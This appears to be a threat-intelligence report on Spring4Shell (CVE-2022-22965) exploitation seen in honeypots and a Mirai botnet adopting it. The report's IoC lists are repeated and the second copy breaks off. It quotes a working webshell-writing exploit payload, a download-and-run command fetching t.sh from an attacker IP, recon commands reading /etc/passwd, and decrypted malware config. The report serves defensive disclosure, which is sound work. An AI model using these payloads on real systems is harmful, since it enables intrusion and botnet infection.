23.129.64.148 United States AS396507 EMERALD-ONION
23.129.64.149 United States AS396507 EMERALD-ONION
23.129.64.210 United States AS396507 EMERALD-ONION
23.129.64.211 United States AS396507 EMERALD-ONION
23.129.64.212 United States AS396507 EMERALD-ONION
23.129.64.213 United States AS396507 EMERALD-ONION
23.129.64.214 United States AS396507 EMERALD-ONION
23.129.64.215 United States AS396507 EMERALD-ONION
23.129.64.216 United States AS396507 EMERALD-ONION
23.129.64.217 United States AS396507 EMERALD-ONION
23.129.64.218 United States AS396507 EMERALD-ONION
23.129.64.219 United States AS396507 EMERALD-ONION
23.129.64.250 United States AS396507 EMERALD-ONION
23.154.177.6 United States AS399532 ULAYER-ASN
23.154.177.7 United States AS399532 ULAYER-ASN
23.239.21.195 United States AS63949 LINODE-AP
27.102.106.117 South Korea AS45996 GNJ-AS-KR
37.187.18.212 France AS16276 OVH
37.187.96.183 France AS16276 OVH
43.128.201.239 Thailand AS132203 TENCENT-NET-AP-CN
43.242.116.54 India AS45916 GTPL-AS-AP
45.15.16.105 Sweden AS42675 OBEHOSTING
45.32.251.86 Japan AS20473 AS-CHOOPA
45.33.101.246 United States AS63949 LINODE-AP
45.61.186.160 United States AS53667 PONYNET
45.78.48.51 Japan AS25820 IT7NET
45.128.133.242 Belgium AS206804 EstNOC-GLOBAL
45.129.56.200 Denmark AS39351 ESAB-AS
45.136.15.239 China AS139659 LUCID-AS-AP
45.153.160.2 The Netherlands AS212906 moneroj-ca
45.153.160.132 The Netherlands AS212906 moneroj-ca
45.153.160.136 The Netherlands AS212906 moneroj-ca
45.154.255.138 Sweden AS41281 KEFF
45.154.255.139 Sweden AS41281 KEFF
45.154.255.147 Sweden AS41281 KEFF
46.166.139.111 The Netherlands AS43350 NFORCE
46.175.146.159 The Netherlands AS50673 Serverius-as
46.232.251.191 Germany AS197540 netcup-AS
51.15.76.60 The Netherlands AS12876 AS12876
51.77.52.216 Poland AS16276 OVH
58.82.211.226 China AS137872 PEOPLESPHONE-HK
58.240.81.135 China AS4837 CHINA169-Backbone
60.248.106.229 China AS3462 HINET
62.102.148.68 Sweden AS51815 TEKNIKBYRAN
62.102.148.69 Sweden AS51815 TEKNIKBYRAN
64.113.32.29 United States AS15154 SBBSNET
66.220.242.222 United States AS17356 VERMONT-TELE
74.82.47.194 United States AS6939 HURRICANE
81.17.18.59 Switzerland AS51852 PLI-AS
81.17.18.62 Switzerland AS51852 PLI-AS
85.93.218.204 Luxembourg AS9008 ASN-VO
85.204.116.204 Romania AS48874 HOSTMAZE
87.120.37.231 Bulgaria AS34224 NETERRA-AS
89.58.27.84 Germany AS197540 netcup GmbH
89.163.131.159 Germany AS24961 MYLOC-AS
89.163.131.160 Germany AS24961 MYLOC-AS
91.132.147.168 Germany AS197540 netcup-AS
91.149.225.172 Norway AS58110 IPVOLUME
91.211.89.43 Ukraine AS206638 hostfory
91.211.89.107 Ukraine AS206638 hostfory
91.211.89.207 Ukraine AS206638 hostfory
91.250.242.12 Romania AS6718 NAV
92.246.84.133 Germany AS44592 SkyLink
93.95.226.212 Iceland AS44925 THE-1984-AS
93.174.89.132 The Netherlands AS202425 INT-NETWORK
93.179.115.27 United States AS25820 IT7NET
94.140.114.210 Latvia AS43513 NANO-AS
101.37.159.147 China AS37963 CNNIC-ALIBABA-CN-NET-AP
103.27.108.196 China AS132883 TOPWAY-AS-AP
103.42.196.135 India AS138754 KVBPL-AS-IN
103.42.196.203 India AS138754 KVBPL-AS-IN
103.108.193.24 China AS139021 WEST263GO-HK
103.140.186.68 Singapore AS206804 EstNOC-GLOBAL
103.140.186.72 Singapore AS206804 EstNOC-GLOBAL
103.140.186.73 Singapore AS206804 EstNOC-GLOBAL
103.214.146.5 China AS135330 ADCDATACOM-AS-AP
103.253.41.98 China AS133398 TELE-AS
104.244.72.115 Luxembourg AS53667 PONYNET
104.244.76.13 Luxembourg AS53667 PONYNET
104.244.76.44 Luxembourg AS53667 PONYNET
104.244.76.170 Luxembourg AS53667 PONYNET
104.244.77.101 Luxembourg AS53667 PONYNET
107.189.5.249 Luxembourg AS53667 PONYNET
109.70.100.19 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.31 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.82 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.84 Austria AS208323 APPLIEDPRIVACY-AS
109.201.133.100 The Netherlands AS43350 NFORCE
111.252.183.41 China AS3462 HINET
111.252.198.28 China AS3462 HINET
112.5.154.7 China AS9808 CMNET-GD
112.36.205.252 China AS24444 CMNET-V4shandong-AS-AP
112.169.175.24 South Korea AS131477 SHHJ-AS
119.86.148.176 China AS4134 CHINANET-BACKBONE
124.222.23.106 China AS45090 CNNIC-TENCENT-NET-AP
128.31.0.13 United States AS3 MIT-GATEWAYS
141.164.43.95 South Korea AS20473 AS-CHOOPA
142.4.206.84 Canada AS16276 OVH
143.198.131.158 United States AS14061 DIGITALOCEAN-ASN
144.172.73.66 United States AS212513 STELZL-AS
144.202.116.138 United States AS20473 AS-CHOOPA
144.217.86.109 Canada AS16276 OVH
146.19.174.33 China AS147293 NEAROUTE-AS-AP
146.59.233.33 France AS16276 OVH
151.80.148.159 France AS16276 OVH
159.223.73.101 Singapore AS14061 DIGITALOCEAN-ASN
162.247.74.7 United States AS4224 CALYX-AS
164.92.65.110 United States AS14061 DIGITALOCEAN-ASN
164.132.9.199 France AS16276 OVH
166.70.207.2 United States AS6315 XMISSION
167.71.238.228 India AS14061 DIGITALOCEAN-ASN
167.99.76.46 Singapore AS14061 DIGITALOCEAN-ASN
168.62.22.238 United States AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
171.25.193.20 Germany AS198093 DFRI-AS
171.25.193.25 Germany AS198093 DFRI-AS
171.25.193.77 Germany AS198093 DFRI-AS
171.25.193.78 Germany AS198093 DFRI-AS
172.104.93.152 Japan AS63949 LINODE-AP
172.104.140.107 Germany AS63949 LINODE-AP
172.104.159.48 Germany AS63949 LINODE-AP
172.107.241.110 United States AS40676 AS40676
172.245.89.109 United States AS36352 AS-COLOCROSSING
175.178.154.77 China AS45090 CNNIC-TENCENT-NET-AP
178.17.170.135 Moldova AS43289 TRABIA
178.17.171.102 Moldova AS43289 TRABIA
178.17.174.14 Moldova AS43289 TRABIA
178.20.55.18 France AS29075 IELO
182.255.45.211 China AS6134 XNNET
185.34.33.2 France AS28855 OCTOPUCE-AS
185.36.81.95 Lithuania AS133398 TELE-AS
185.38.175.130 Denmark AS205235 LABITAT
185.38.175.131 Denmark AS205235 LABITAT
185.56.80.65 The Netherlands AS43350 NFORCE
185.82.126.13 Latvia AS52173 MAKONIX
185.83.214.69 Portugal AS58110 IPVOLUME
185.100.86.74 Finland AS200651 FlokiNET
185.100.86.128 Finland AS200651 FlokiNET
185.100.87.41 Romania AS200651 FlokiNET
185.100.87.133 Romania AS200651 FlokiNET
185.100.87.174 Romania AS200651 FlokiNET
185.100.87.202 Romania AS200651 FlokiNET
185.105.90.134 Russia AS205090 FIRST-SERVER-EUROPE
185.107.47.171 The Netherlands AS43350 NFORCE
185.107.47.215 The Netherlands AS43350 NFORCE
185.107.70.56 The Netherlands AS43350 NFORCE
185.112.147.12 Iceland AS44925 THE-1984-AS
185.129.62.62 Denmark AS57860 ZENCURITY-NET
185.163.119.0 Germany AS197540 netcup-AS
185.165.171.40 Romania AS200651 FlokiNET
185.165.171.84 Romania AS200651 FlokiNET
185.170.114.25 Germany AS197540 netcup-AS
185.174.101.214 United States AS8100 ASN-QUADRANET-GLOBAL
185.220.100.240 Germany AS205100 F3NETZE
185.220.100.241 Germany AS205100 F3NETZE
185.220.100.242 Germany AS205100 F3NETZE
185.220.100.243 Germany AS205100 F3NETZE
185.220.100.244 Germany AS205100 F3NETZE
185.220.100.245 Germany AS205100 F3NETZE
185.220.100.246 Germany AS205100 F3NETZE
185.220.100.247 Germany AS205100 F3NETZE
185.220.100.248 Germany AS205100 F3NETZE
185.220.100.249 Germany AS205100 F3NETZE
185.220.100.250 Germany AS205100 F3NETZE
185.220.100.251 Germany AS205100 F3NETZE
185.220.100.252 Germany AS205100 F3NETZE
185.220.100.253 Germany AS205100 F3NETZE
185.220.100.254 Germany AS205100 F3NETZE
185.220.100.255 Germany AS205100 F3NETZE
185.220.101.6 The Netherlands AS208294 RELAYON
185.220.101.22 The Netherlands AS208294 RELAYON
185.220.101.32 The Netherlands AS208294 RELAYON
185.220.101.33 The Netherlands AS208294 RELAYON
185.220.101.34 The Netherlands AS208294 RELAYON
185.220.101.35 The Netherlands AS208294 RELAYON
185.220.101.36 The Netherlands AS208294 RELAYON
185.220.101.37 The Netherlands AS208294 RELAYON
185.220.101.38 The Netherlands AS208294 RELAYON
185.220.101.39 The Netherlands AS208294 RELAYON
185.220.101.40 The Netherlands AS208294 RELAYON
185.220.101.41 The Netherlands AS208294 RELAYON
185.220.101.42 The Netherlands AS208294 RELAYON
185.220.101.43 The Netherlands AS208294 RELAYON
185.220.101.44 The Netherlands AS208294 RELAYON
185.220.101.45 The Netherlands AS208294 RELAYON
185.220.101.46 The Netherlands AS208294 RELAYON
185.220.101.47 The Netherlands AS208294 RELAYON
185.220.101.48 The Netherlands AS208294 RELAYON
185.220.101.49 The Netherlands AS208294 RELAYON
185.220.101.50 The Netherlands AS208294 RELAYON
185.220.101.51 The Netherlands AS208294 RELAYON
185.220.101.52 The Netherlands AS208294 RELAYON
185.220.101.53 The Netherlands AS208294 RELAYON
185.220.101.54 The Netherlands AS208294 RELAYON
185.220.101.55 The Netherlands AS208294 RELAYON
185.220.101.56 The Netherlands AS208294 RELAYON
185.220.101.57 The Netherlands AS208294 RELAYON
185.220.101.58 The Netherlands AS208294 RELAYON
185.220.101.59 The Netherlands AS208294 RELAYON
185.220.101.60 The Netherlands AS208294 RELAYON
185.220.101.61 The Netherlands AS208294 RELAYON
185.220.101.62 The Netherlands AS208294 RELAYON
185.220.101.63 The Netherlands AS208294 RELAYON
185.220.102.240 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.245 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.249 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.102.254 The Netherlands AS60729 ZWIEBELFREUNDE
185.220.103.7 United States AS4224 CALYX-AS
185.226.67.169 Greece AS205053 Aweb-ASN
185.243.218.27 Norway AS56655 TERRAHOST
185.246.188.95 Belgium AS3164 ASTIMP-IT
185.247.226.98 Iceland AS200651 FlokiNET
185.254.75.32 Germany AS3214 XTOM
188.68.58.0 Germany AS197540 netcup-AS
192.42.116.23 The Netherlands AS1101 IP-EEND-AS
193.31.24.154 Germany AS197540 netcup-AS
193.110.95.34 Switzerland AS13030 INIT7
193.111.199.64 Germany AS24961 MYLOC-AS
193.218.118.95 Ukraine AS207656 EPINATURA
193.218.118.183 Ukraine AS207656 EPINATURA
193.218.118.231 Ukraine AS207656 EPINATURA
194.31.98.186 The Netherlands AS213035 AS-SERVERION
194.233.77.245 Singapore AS141995 CAPL-AS-AP
195.176.3.19 Switzerland AS559 SWITCH
195.176.3.23 Switzerland AS559 SWITCH
198.54.128.102 United States AS11878 TZULO
198.98.51.189 United States AS53667 PONYNET
198.98.57.207 United States AS53667 PONYNET
198.144.121.43 The Netherlands AS206264 AMARUTU-TECHNOLOGY
199.195.248.29 United States AS53667 PONYNET
199.195.254.81 United States AS53667 PONYNET
199.249.230.87 United States AS62744 QUINTEX
203.175.13.118 China AS141677 NATHOSTS-AS-AP
204.8.156.142 United States AS10961 BGP-AS
205.185.117.149 United States AS53667 PONYNET
205.185.124.178 United States AS53667 PONYNET
209.141.41.103 United States AS53667 PONYNET
209.141.44.64 United States AS53667 PONYNET
209.141.45.189 United States AS53667 PONYNET
209.141.46.81 United States AS53667 PONYNET
209.141.46.203 United States AS53667 PONYNET
209.141.54.195 United States AS53667 PONYNET
209.141.55.26 United States AS53667 PONYNET
209.141.57.178 United States AS53667 PONYNET
209.141.58.146 United States AS53667 PONYNET
209.141.60.19 United States AS53667 PONYNET
210.217.18.88 South Korea AS4766 KIXS-AS-KR
211.20.42.23 China AS3462 HINET
212.107.30.157 China AS41378 KirinoNET
213.61.215.54 Germany AS8220 COLT
213.164.204.146 Sweden AS8473 BAHNHOF
217.138.199.93 Czech Republic AS9009 M247
</code></pre>
<p>URL</p>
<pre><code>http://107.174.133.167/gmpsl
http://107.174.133.167/gi686
http://107.174.133.167/garm
http://107.174.133.167/gmips
http://107.174.133.167/garm7
http://107.174.133.167/gx86
http://107.174.133.167/t.sh
http://107.174.133.167/garm6
http://107.174.133.167/garm5
http://15.185.213.122:65123/javac
http://15.185.213.122:65123
base64://be3f78b59fa14140b6cc8633bf705a75
http://15.185.213.122:65123/java
base64://c08fec5682085417b0a039bdf47c38f2
</code></pre>
<p>MD5</p>
<pre><code>4bcd19351697d04fb357ce5b36600207
7d244e7bf48d6631b588cecae87e759d
9c14d670a48bba4b7c047a01d417f8f2
97a7a357b8290a7236a5fbf45f17569f
7621f1a5e8db18f3ae30031122c9c397
100674f1e3ecfb6fa244de4ba7fd2ae2
329155ab45e244661a7725d81dfad740
611630a580e33017be32de8c72625489
650152a2fe78dfceceb4d1a1fdeaccb8
400590515f0f1cf942fe734126be94e7
a8a36132632366c7f65066b23d6f7e4f
b1124c862998bc4ab3ff8b1d471310a6
cca63413e3ca6b834b6a4446768c5ccb
dcc157b2c284ac676000d64dd33f3ec4
e1190f07a6da91caaa317affc9512caa
eba95249cf0a51e300d7b6029cf7088e
fb63e9a23dbf4124116471fcf3254283
fd839753ca4d89c0ccd229b12f95827c
</code></pre>
<!--kg-card-end: markdown--> | Background
On March 31, 2022, Spring issued a security advisory[1] for the Spring4Shell vulnerability (CVE-2022-22965), this vulnerability has caused widespread concern in the security community.
When we looked back at our data, our threat hunting honeypot System[2] had already captured activities related to this exact vulnerability. After March 30, we started to see more attempts such as various webshells, and today, 2022-04-01 11:33:09(GMT+8), less than one day after the vendor released the advisory, a variant of Mirai, has won the race as the first botnet that adopted this vulnerability.
Spring4Shell in the wild propagation
Our honeypot system started to observe scans related to the Spring4Shell vulnerability (CVE-2022-22965), the following diagram shows the geographic distribution of the scanner IP addresses that we have seen so far.
Top 10 country statistics
United States 92
The Netherlands 49
Germany 30
China 21
France 6
Luxembourg 6
Sweden 6
Switzerland 5
Ukraine 5
Austria 4
We haven seen a large number of Webshell and test file upload behavior, the corresponding file information is shown below.
Some of the exploits that we have observed so far:
echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
ls
ls%20/tmp/
whoami
%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27
cat+/etc/passwd
chdir
cmd /c dir
cmd /c net user
curl+http://111.4vcrkb.dnslog.cn/1.jpg
curl+http://12121.4vcrkb.dnslog.cn/1.jpg
curl+http://35456.4vcrkb.dnslog.cn/1.jpg
dir
echo
echo 8888888888
echo %USERNAME%
echo %computername%
echo </xss>
echo fucker_test_test
echo rinima
echo%20%3Csvg%20onload=confirm`xss`%3E
echo%20%3Csvg%20onload=confirm`xsssssss`%3E
echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
echo+22222
echo+`whoami`
echo+whoami
exp
id
ifconfig
ls
ls%20/tmp/
ping -n 2 uup0fk.dnslog.cn
ping uup0fk.dnslog.cn
uname
whoami
whoami%0A
Spring4Shell Vulnerability brief
Spring4Shell vulnerability (CVE-2022-22965) is caused by the new module feature in JDK version 9 and above, and is a bypass for the CVE-2010-1622 vulnerability patch.
Java Beans
Java introspection manipulates JavaBean properties through reflection, the JDK provides the PropertyDescription class operation to access JavaBean properties, when operating on multiple properties, you can operate on all properties by traversing the property description object array.
Through the class Introspector to get the BeanInfo information of an object, and then the BeanInfo to get the property descriptor PropertyDescriptor, the property descriptor can get the getter/setter methods corresponding to a property, and then through the reflection mechanism to call these methods.
For example, through the PropertyDescriptor[] assignment.
If the parent class properties is not needed, the second parameter of getBeanInfo Class beanClass, Class stopClass) is there, calling BeanInfo getBeanInfo(Class beanClass) directly, PropertyDescriptor[] will contain the parent class Object.class.
CVE-2010-1622 Vulnerability brief
CVE-2010-1622 vulnerability exists because "CachedIntrospectionResults class"of Spring Beans does not specify the stop class when calling java.beans.Introspector.getBeanInfo() enumeration property assignment, resulting in the parent class ( Object.class is the parent class of any java object) class property can be maliciously controlled by an attacker.
Spring parameter supports the user to submit a form in the form of parameters = value object assignment, while user.address.street = Disclosure + Str is equivalent to frmObj.getUser().getAddress().setStreet("Disclosure Str."). So a value can be assigned to the first class property in PropertyDescriptor[] by means of user.address.street=Disclosure+Str. If the class property is controlled through the classLoader, the exploit chain can be constructed.
Vulnerability Patch
Spring patches the vulnerability by adding the classLoader to the property array blacklist.
CVE-2022-22965 Vulnerability brief
Similar to the CVE-2010-1622 vulnerability, another class parameter related issue.
CVE-2022-22965 is a bypass of patch CVE-2010-1622, in JDK11+Tomcat8.5.77+spring-webmvc5.3.17 version, we noticed that class.module.classLoader.* can load ParallelWebappClassLoader to bypass the detection of classLoader:
Exploit Payload that we saw
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222
Here the pattern specifies the format of the log record, suffix specifies the log record suffix as .jsp, directory specifies the directory webapps/ROOT where the log is saved, prefix specifies the file name tomcatwar, fileDateFormat specifies the date format of the log file name. The whole payload uses Tomcat’s class AbstractAccessLogValve to modify the log storage format, directory and file name, so the webshell can be uploaded.
Vulnerability Patch
A strict blacklist restrictions have been added
Mirai botnet
As mentioned above, Mirai botnet has jumped on the wagon and the following is the relevant configuration information that has been decrypted.
[0x01]: "46.175.146.159\x00", size=15
[0x02]: "A\x84", size=2
[0x03]: "D\xfd", size=2
[0x04]: "U better back the fuck off CIANigger >>>---<3-->\x00", size=49
[0x05]: "shell\x00", size=6
[0x06]: "enable\x00", size=7
[0x07]: "system\x00", size=7
[0x08]: "sh\x00", size=3
[0x09]: "/bin/busybox DEMONS\x00", size=20
[0x0a]: "DEMONS: applet not found\x00", size=25
[0x0b]: "ncorrect\x00", size=9
[0x0c]: "/bin/busybox ps\x00", size=16
[0x0d]: "assword\x00", size=8
[0x0e]: "ogin\x00", size=5
[0x0f]: "enter\x00", size=6
[0x10]: "/proc/\x00", size=7
[0x11]: "/exe\x00", size=5
[0x12]: "/fd\x00", size=4
[0x13]: "/maps\x00", size=6
[0x14]: "/proc/net/tcp\x00", size=14
[0x15]: "/etc/resolv.conf\x00", size=17
[0x16]: "nameserver\x00", size=11
[0x17]: "Pully\x13SHD\x1aiIGK\x1cDig\x13\x18}Bfpc]MkGp^b\x12[}P\x1b\\~m`b`^rc\x13Xeg\x13G\x1a\x12z*", size=57
[0x18]: "i586\x00", size=5
[0x19]: "i486\x00", size=5
[0x1a]: "x86\x00", size=4
[0x1b]: "i686\x00", size=5
[0x1c]: "mips\x00", size=5
[0x1d]: "mipsel\x00", size=7
[0x1e]: "mpsl\x00", size=5
[0x1f]: "sh4\x00", size=4
[0x20]: "superh\x00", size=7
[0x21]: "ppc\x00", size=4
[0x22]: "powerpc\x00", size=8
[0x23]: "spc\x00", size=4
[0x24]: "sparc\x00", size=6
[0x25]: "(deleted)\x00", size=10
[0x26]: "abcdefghijklmnopqrstuvwxyz\x00", size=27
[0x27]: "%d.%d.%d.%d\x00", size=12
[0x28]: "POST /cdn-cgi/\x00", size=15
[0x29]: "UPX!\x00", size=5
[0x2a]: "botnet\x00", size=7
[0x2b]: "ddos\x00", size=5
[0x2c]: "oginenterassword\x00", size=17
[0x2d]: "GET/ HTTP/1.1\x00", size=15
[0x2e]: "garm\x00", size=5
[0x2f]: "gx86\x00", size=5
[0x30]: "gmips\x00", size=6
[0x31]: "gmpsl\x00", size=6
[0x32]: "gsh4\x00", size=5
[0x33]: "gspc\x00", size=5
[0x34]: "gppc\x00", size=5
[0x35]: "gsec\x00", size=5
[0x36]: ".glm\x00", size=5
[0x37]: "cronx86\x00", size=8
[0x38]: "cronarm\x00", size=8
[0x39]: "cronmips\x00", size=9
[0x3a]: "cronmpsl\x00", size=9
[0x3b]: "cronsh4\x00", size=8
[0x3c]: "cronspc\x00", size=8
[0x3d]: "cronppc\x00", size=8
[0x3e]: "cronsh\x00", size=7
[0x3f]: "gi686\x00", size=6
[0x40]: "/dev/watchdog\x00", size=14
[0x41]: "/dev/misc/watchdog\x00", size=19
[0x42]: "/dev/FTWDT101_watchdog\x00", size=23
[0x43]: "/dev/FTWDT101 watchdog\x00\x12", size=24
[0x44]: "/dev/watchdog0\x00", size=15
[0x45]: "/etc/default/watchdog\x00", size=22
[0x46]: "/sbin/watchdog\x00", size=15
Some Webshell and test files that we have seen so far
filepath
count
/tmp/log222.txt
3973
webapps/ROOT/log111.txt
2051
webapps/ROOT/tomcatwar.jsp
110
webapps/ROOT/wpz.jsp
27
/../webapps/ROOT/logout.jsp
12
./webapps/ROOT/test2%20%20.txt
9
webapps/ROOT/log101.txt
7
/log_data_9.jsp
3
webapps/ROOT/xiaozhan.jsp
3
webapps/ROOT/1122.jsp
3
webapps/ROOT/0985763860781234.jsp
3
/2023.jsp
3
webapps/ROOT/zhuzhuxias.jsp
3
webapps/ROOT/log147.txt
2
webapps/ROOT/aaa69875.jsp
1
webapps/ROOT/log186.txt
1
webapps/ROOT/aaa36917.jsp
1
webapps/ROOT/member3war.jsp
1
webapps/ROOT/aaa96225.jsp
1
webapps/ROOT/log154.txt
1
webapps/ROOT/log103.txt
1
webapps/ROOT/log176.txt
1
webapps/ROOT/7FMNZ.jsp
1
webapps/ROOT/aaa28643.jsp
1
webapps/ROOT/aaa49231.jsp
1
webapps/ROOT/aaa50586.jsp
1
webapps/ROOT/log112.txt
1
webapps/ROOT/log110.txt
1
webapps/ROOT/aaa80751.jsp
1
/2021.jsp
1
webapps/ROOT/aaa10854.jsp
1
webapps/ROOT/log105.txt
1
webapps/ROOT/aaa93089.jsp
1
webapps/ROOT/35456.jsp
1
webapps/ROOT/log182.txt
1
webapps/ROOT/aaa24348.jsp
1
webapps/ROOT/log131.txt
1
webapps/ROOT/indexbk.jsp
1
webapps/ROOT/log149.txt
1
webapps/ROOT/log179.txt
1
webapps/webappsbak/sxxd1648765386.txt
1
webapps/ROOT/log150.txt
1
Webapps/ROOT/78754.jsp
1
webapps/ROOT/aaa24168.jsp
1
webapps/ROOT/aaa10487.jsp
1
webapps/ROOT/log178.txt
1
webapps/ROOT/lapsus
1
webapps/ROOT/zhuzhuxia.jsp
1
webapps/ROOT/log135.txt
1
webapps/ROOT/aaa40373.jsp
1
webapps/ROOT/qweasd.jsp
1
webapps/ROOT/console.jsp
1
webapps/ROOT/aaa79694.jsp
1
webapps/ROOT/aaa54378.jsp
1
webapps/ROOT/log129.txt
1
webapps/ROOT/pCJrI.jsp
1
webapps/ROOT/log162.txt
1
Webapps/ROOT/7875456457.jsp
1
webapps/ROOT/.jsp
1
webapps/ROOT/log200.txt
1
webapps/ROOT/8888888888.jsp
1
webapps/ROOT/8888888888.txt
1
webapps/ROOT/log128.txt
1
webapps/ROOT/log124.txt
1
webapps/ROOT/aaa14058.jsp
1
webapps/ROOT/aaa94175.jsp
1
webapps/ROOT/conf.jsp
1
webapps/stupidRumor_war/tomcatwar.jsp
1
webapps/ROOT/aaa83816.jsp
1
Recommendations
Spring users should follow the vendor’s advisory, as the same time, users can check their systems for the aforementioned Webshell and test files paths for possible breach.
Contact us
Readers are always welcomed to reach us on twitter or email us at netlab at 360 dot cn .
IoC List
Mirai C2
46.175.146.159:16772
IP
1.85.220.54 China AS4134 CHINANET-BACKBONE
3.239.1.141 United States AS14618 AMAZON-AES
5.2.69.50 The Netherlands AS60404 Liteserver
14.0.170.249 China AS38819 HKCSL-AS-AP
23.128.248.10 United States AS398355 DATAIDEAS-LLC
23.128.248.11 United States AS398355 DATAIDEAS-LLC
23.128.248.12 United States AS398355 DATAIDEAS-LLC
23.128.248.13 United States AS398355 DATAIDEAS-LLC
23.128.248.14 United States AS398355 DATAIDEAS-LLC
23.128.248.15 United States AS398355 DATAIDEAS-LLC
23.128.248.16 United States AS398355 DATAIDEAS-LLC
23.128.248.17 United States AS398355 DATAIDEAS-LLC
23.128.248.19 United States AS398355 DATAIDEAS-LLC
23.128.248.20 United States AS398355 DATAIDEAS-LLC
23.128.248.21 United States AS398355 DATAIDEAS-LLC
23.128.248.22 United States AS398355 DATAIDEAS-LLC
23.128.248.23 United States AS398355 DATAIDEAS-LLC
23.128.248.24 United States AS398355 DATAIDEAS-LLC
23.128.248.25 United States AS398355 DATAIDEAS-LLC
23.128.248.27 United States AS398355 DATAIDEAS-LLC
23.128.248.28 United States AS398355 DATAIDEAS-LLC
23.128.248.29 United States AS398355 DATAIDEAS-LLC
23.128.248.33 United States AS398355 DATAIDEAS-LLC
23.128.248.34 United States AS398355 DATAIDEAS-LLC
23.128.248.38 United States AS398355 DATAIDEAS-LLC
23.128.248.39 United States AS398355 DATAIDEAS-LLC
23.128.248.40 United States AS398355 DATAIDEAS-LLC
23.128.248.41 United States AS398355 DATAIDEAS-LLC
23.128.248.42 United States AS398355 DATAIDEAS-LLC
23.128.248.43 United States AS398355 DATAIDEAS-LLC
23.128.248.44 United States AS398355 DATAIDEAS-LLC
23.128.248.46 United States AS398355 DATAIDEAS-LLC
23.128.248.48 United States AS398355 DATAIDEAS-LLC
23.128.248.50 United States AS398355 DATAIDEAS-LLC
23.128.248.51 United States AS398355 DATAIDEAS-LLC
23.128.248.53 United States AS398355 DATAIDEAS-LLC
23.128.248.54 United States AS398355 DATAIDEAS-LLC
23.128.248.55 United States AS398355 DATAIDEAS-LLC
23.128.248.56 United States AS398355 DATAIDEAS-LLC
23.128.248.57 United States AS398355 DATAIDEAS-LLC
23.128.248.58 United States AS398355 DATAIDEAS-LLC
23.128.248.59 United States AS398355 DATAIDEAS-LLC
23.128.248.60 United States AS398355 DATAIDEAS-LLC
23.128.248.61 United States AS398355 DATAIDEAS-LLC
23.128.248.62 United States AS398355 DATAIDEAS-LLC
23.128.248.63 United States AS398355 DATAIDEAS-LLC
23.128.248.64 United States AS398355 DATAIDEAS-LLC
23.128.248.65 United States AS398355 DATAIDEAS-LLC
23.129.64.130 United States AS396507 EMERALD-ONION
23.129.64.131 United States AS396507 EMERALD-ONION
23.129.64.132 United States AS396507 EMERALD-ONION
23.129.64.133 United States AS396507 EMERALD-ONION
23.129.64.134 United States AS396507 EMERALD-ONION
23.129.64.135 United States AS396507 EMERALD-ONION
23.129.64.136 United States AS396507 EMERALD-ONION
23.129.64.137 United States AS396507 EMERALD-ONION
23.129.64.138 United States AS396507 EMERALD-ONION
23.129.64.139 United States AS396507 EMERALD-ONION
23.129.64.140 United States AS396507 EMERALD-ONION
23.129.64.141 United States AS396507 EMERALD-ONION
23.129.64.142 United States AS396507 EMERALD-ONION
23.129.64.143 United States AS396507 EMERALD-ONION
23.129.64.145 United States AS396507 EMERALD-ONION
23.129.64.146 United States AS396507 EMERALD-ONION
23.129.64.147 United States AS396507 EMERALD-ONION
23.129.64.148 United States AS396507 EMERALD-ONION
23.129.64.149 United States AS396507 EMERALD-ONION
23.129.64.210 United States AS396507 EMERALD-ONION
23.129.64.211 United States AS396507 EMERALD-ONION
23.129.64.212 United States AS396507 EMERALD-ONION
23.129.64.213 United States AS396507 EMERALD-ONION
23.129.64.214 United States AS396507 EMERALD-ONION
23.129.64.215 United States AS396507 EMERALD-ONION
23.129.64.216 United States AS396507 EMERALD-ONION
23.129.64.217 United States AS396507 EMERALD-ONION
23.129.64.218 United States AS396507 EMERALD-ONION
23.129.64.219 United States AS396507 EMERALD-ONION
23.129.64.250 United States AS396507 EMERALD-ONION
23.154.177.6 United States AS399532 ULAYER-ASN
23.154.177.7 United States AS399532 ULAYER-ASN
23.239.21.195 United States AS63949 LINODE-AP
27.102.106.117 South Korea AS45996 GNJ-AS-KR
37.187.18.212 France AS16276 OVH
37.187.96.183 France AS16276 OVH
43.128.201.239 Thailand AS132203 TENCENT-NET-AP-CN
43.242.116.54 India AS45916 GTPL-AS-AP
45.15.16.105 Sweden AS42675 OBEHOSTING
45.32.251.86 Japan AS20473 AS-CHOOPA
45.33.101.246 United States AS63949 LINODE-AP
45.61.186.160 United States AS53667 PONYNET
45.78.48.51 Japan AS25820 IT7NET
45.128.133.242 Belgium AS206804 EstNOC-GLOBAL
45.129.56.200 Denmark AS39351 ESAB-AS
45.136.15.239 China AS139659 LUCID-AS-AP
45.153.160.2 The Netherlands AS212906 moneroj-ca
45.153.160.132 The Netherlands AS212906 moneroj-ca
45.153.160.136 The Netherlands AS212906 moneroj-ca
45.154.255.138 Sweden AS41281 KEFF
45.154.255.139 Sweden AS41281 KEFF
45.154.255.147 Sweden AS41281 KEFF
46.166.139.111 The Netherlands AS43350 NFORCE
46.175.146.159 The Netherlands AS50673 Serverius-as
46.232.251.191 Germany AS197540 netcup-AS
